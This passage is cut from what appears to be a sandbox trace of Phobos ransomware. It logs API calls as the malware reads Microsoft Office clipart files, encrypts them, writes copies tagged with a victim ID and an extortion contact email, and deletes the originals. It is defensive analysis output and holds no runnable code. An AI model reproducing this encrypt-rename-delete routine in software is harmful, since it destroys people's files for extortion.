Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0137.056] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0137.056] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0137.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0137.057] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753158) returned 1 [0137.057] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0137.057] ReadFile (in: hFile=0x2b4, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x764, lpOverlapped=0x0) returned 1 [0137.827] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x770, dwBufLen=0x770 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x770) returned 1 [0137.827] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x770, lpOverlapped=0x0) returned 1 [0137.828] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752dd8) returned 1 [0137.828] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0137.828] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0137.828] CryptDestroyKey (hKey=0x752dd8) returned 1 [0137.828] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0137.828] CryptDestroyKey (hKey=0x753158) returned 1 [0137.828] CloseHandle (hObject=0x2b4) returned 1 [0137.828] CloseHandle (hObject=0x310) returned 1 [0137.829] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0137.830] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0137.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0137.830] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=1256) returned 1 [0137.830] CloseHandle (hObject=0x310) returned 1 [0137.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 0x220 [0137.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0137.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0137.830] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0137.831] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0137.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0137.831] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752d58) returned 1 [0137.831] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0137.831] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x4e8, lpOverlapped=0x0) returned 1 [0138.712] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x4f0) returned 1 [0138.712] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x4f0, lpOverlapped=0x0) returned 1 [0138.713] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x753158) returned 1 [0138.713] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0138.713] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0138.713] CryptDestroyKey (hKey=0x753158) returned 1 [0138.713] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0138.713] CryptDestroyKey (hKey=0x752d58) returned 1 [0138.713] CloseHandle (hObject=0x310) returned 1 [0138.713] CloseHandle (hObject=0x2b4) returned 1 [0138.713] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0138.714] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0138.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0138.715] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=17016) returned 1 [0138.715] CloseHandle (hObject=0x2b4) returned 1 [0138.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 0x220 [0138.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0138.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0138.715] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0138.715] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0138.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0138.715] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752cd8) returned 1 [0138.715] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0138.715] ReadFile (in: hFile=0x2b4, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x4278, lpOverlapped=0x0) returned 1 [0139.314] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x4280, dwBufLen=0x4280 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x4280) returned 1 [0139.314] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x4280, lpOverlapped=0x0) returned 1 [0139.315] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752fd8) returned 1 [0139.315] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.315] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0139.315] CryptDestroyKey (hKey=0x752fd8) returned 1 [0139.315] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0139.315] CryptDestroyKey (hKey=0x752cd8) returned 1 [0139.315] CloseHandle (hObject=0x2b4) returned 1 [0139.315] CloseHandle (hObject=0x310) returned 1 [0139.315] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0139.316] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0139.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.317] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=33434) returned 1 [0139.317] CloseHandle (hObject=0x310) returned 1 [0139.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 0x220 [0139.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.318] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.318] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.318] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752cd8) returned 1 [0139.318] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.318] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x829a, lpOverlapped=0x0) returned 1 [0139.438] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x82a0, dwBufLen=0x82a0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x82a0) returned 1 [0139.438] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x82a0, lpOverlapped=0x0) returned 1 [0139.439] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752d58) returned 1 [0139.439] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.439] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0139.440] CryptDestroyKey (hKey=0x752d58) returned 1 [0139.440] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0139.440] CryptDestroyKey (hKey=0x752cd8) returned 1 [0139.440] CloseHandle (hObject=0x310) returned 1 [0139.440] CloseHandle (hObject=0x2b4) returned 1 [0139.440] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0139.441] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0139.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.441] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=14174) returned 1 [0139.441] CloseHandle (hObject=0x2b4) returned 1 [0139.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 0x220 [0139.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.442] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.442] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.442] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752ed8) returned 1 [0139.442] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.442] ReadFile (in: hFile=0x2b4, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x375e, lpOverlapped=0x0) returned 1 [0139.469] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3760, dwBufLen=0x3760 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3760) returned 1 [0139.469] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x3760, lpOverlapped=0x0) returned 1 [0139.470] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752c58) returned 1 [0139.470] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.470] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0139.470] CryptDestroyKey (hKey=0x752c58) returned 1 [0139.470] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0139.470] CryptDestroyKey (hKey=0x752ed8) returned 1 [0139.470] CloseHandle (hObject=0x2b4) returned 1 [0139.470] CloseHandle (hObject=0x310) returned 1 [0139.470] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0139.471] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0139.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.472] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=19898) returned 1 [0139.472] CloseHandle (hObject=0x310) returned 1 [0139.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 0x220 [0139.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.472] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.472] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.472] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752f58) returned 1 [0139.472] CryptSetKeyParam (hKey=0x752f58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.472] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x4dba, lpOverlapped=0x0) returned 1 [0139.505] CryptEncrypt (in: hKey=0x752f58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x4dc0, dwBufLen=0x4dc0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x4dc0) returned 1 [0139.505] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x4dc0, lpOverlapped=0x0) returned 1 [0139.506] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752c58) returned 1 [0139.506] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.506] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0139.506] CryptDestroyKey (hKey=0x752c58) returned 1 [0139.506] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, 